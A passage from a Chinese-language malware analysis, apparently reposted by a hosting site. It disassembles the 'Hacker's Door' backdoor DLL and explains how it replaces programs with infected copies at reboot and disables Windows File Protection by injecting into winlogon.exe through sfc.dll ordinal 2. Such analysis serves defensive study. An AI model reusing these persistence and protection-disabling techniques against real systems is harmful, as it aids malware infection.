.data:1000C7AC push ecx ; lpNewFileName
.data:1000C7AD push edx ; lpExistingFileName
.data:1000C7AE call MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT| MOVEFILE_REPLACE_EXISTING);
小知识:MSDN中对MoveFileEx()函数的解释为:
BOOL MoveFileEx(
LPCTSTR lpExistingFileName, // pointer to the name of the existing file
LPCTSTR lpNewFileName, // pointer to the new name for the file
DWORD dwFlags // flag that specifies how to move file
);
这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原来的文件路径上即可。
灭掉系统文件保护
一旦系统启动了,Windows系统就开始加载已经被感染的系统程序,但是由于“黑客之门”是通过感染系统程序实现自启动的,这下子又遇到了另外一个问题。
大家都知道,在Windows 2000和Windows XP中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题, TestLoad.exe只是一个普通的EXE文件,而不是受系统文件保护系统保护的系统进程,那为什么黑客之门修改系统进程时,操作系统的文件的文件保护系统不会提醒呢?
这一点,还是采用反汇编黑客之门的方法,观察它是怎样关闭系统文件保护功能的。
发现如下的代码:
.data:1000BBB0 LoadSFCDLL proc near ; CODE XREF: sub_1000BC70 B7
.data:1000BBB0 push esi
.data:1000BBB1 xor esi, esi
.data:1000BBB3 call GetVersion ; Get current version number of Windows
.data:1000BBB3 ; and information about the operating system platform
.data:1000BBB9 cmp al, 5
.data:1000BBBB jnz short loc_1000BBDF
.data:1000BBBD xor ecx, ecx ;此时为Windows2000系统
.data:1000BBBF mov cl, ah
.data:1000BBC1 test cl, cl
.data:1000BBC3 jnz short loc_1000BBD2
.data:1000BBC5 push offset aSfc_dll ; lpLibFileName
.data:1000BBCA call LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0 pop esi
.data:1000BBD1 retn
.data:1000BBD2 loc_1000BBD2: ; CODE XREF: LoadSFCDLL 13 j
.data:1000BBD2 push offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7 call LoadLibraryA
.data:1000BBDD pop esi
.data:1000BBDE retn
上面的代码可以看出,Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的话,装载Sfc.dll;如果是Windows XP(Windows NT 5.1)的话,装载Sfc_os.dll。再看下面的一段反汇编代码:
sub esp, 228h
.data:1000BC76 lea eax, [esp 228h hObject]
.data:1000BC7A push ebx
.data:1000BC7B push esi
.data:1000BC7C push edi
.data:1000BC7D push offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82 push 0
.data:1000BC84 push offset aDS ; "%d/%s"
.data:1000BC89 push 1Fh
.data:1000BC8B mov edi, ecx
.data:1000BC8D push eax
.data:1000BC8E call sub_10008C60
.data:1000BC93 add esp, 14h
.data:1000BC96 lea ecx, [esp 234h hObject]
.data:1000BC9A push ecx ; lpMultiByteStr
.data:1000BC9B call sub_100016CC //这个子函数就是用来得到进程ID
.data:1000BCA0 cmp eax, 0FFFFFFFDhSFC
.data:1000BCA3 jb short loc_1000BCDB
.data:1000BCA5 push offset aCanTGetWinlogo ; "Can't get winlogon process id!\r\n"
上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:
.data:1000BCDB push eax ; dwProcessId
.data:1000BCDC push 0 ; bInheritHandle
.data:1000BCDE push 1F0FFFh ; dwDesiredAccess
.data:1000BCE3 call OpenProcess ;打开目标进程
.data:1000BCE9 mov ebx, eax
.data:1000BCEB test ebx, ebx
.data:1000BCED jnz short loc_1000BD25
上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:
.data:1000BD25 mov ecx, edi
.data:1000BD27 call LoadSFCDLL
.data:1000BD2C mov esi, eax
.data:1000BD2E test esi, esi
.data:1000BD30 jnz short loc_1000BD6F
.data:1000BD6F push 2 ;函数序号为2
.data:1000BD71 push esi ;SFC.dll的 hModule
.data:1000BD72 call GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78 test eax, eax
.data:1000BD7A mov [edi 10h], eax
.data:1000BD7D jnz short loc_1000BDC3
可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:
.data:1000BDC3 push eax ; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4 push ebx ; Winlogon.exe进程的句柄
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




